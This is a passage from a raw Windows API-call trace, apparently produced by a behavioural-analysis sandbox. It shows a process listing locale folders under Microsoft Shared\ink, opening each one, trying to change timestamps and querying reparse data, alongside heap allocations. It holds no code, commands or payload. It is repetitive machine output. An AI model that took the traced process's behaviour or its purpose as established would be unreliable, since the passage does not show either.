BaseAddress=0x8f6850) returned 1 [0235.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.102] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.102] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.103] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904858 [0235.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905648 [0235.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.103] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.103] GetLastError () returned 0x12 [0235.103] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.103] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.103] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.103] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.103] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.103] GetLastError () returned 0x12 [0235.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.103] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.104] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0235.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.104] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.104] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.104] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.104] NtClose (Handle=0x1bc) returned 0x0 [0235.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.105] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.105] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.105] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904878 [0235.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905750 [0235.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.105] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.105] GetLastError () returned 0x12 [0235.105] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.105] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.105] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.105] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.105] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.105] GetLastError () returned 0x12 [0235.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.106] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.106] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="")) returned 1 [0235.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.106] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0235.106] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.106] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.106] NtClose (Handle=0x1b0) returned 0x0 [0235.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.107] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.107] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.107] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904898 [0235.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905858 [0235.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.107] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.107] GetLastError () returned 0x12 [0235.107] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.107] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.107] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.107] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.107] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.107] GetLastError () returned 0x12 [0235.108] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.108] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.108] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.108] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.108] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0235.108] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.108] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.109] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.109] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.109] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.109] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.109] NtClose (Handle=0x1bc) returned 0x0 [0235.109] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.109] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.109] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.109] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.109] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.109] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.109] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.109] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.109] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.109] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.109] RtlFreeHeap 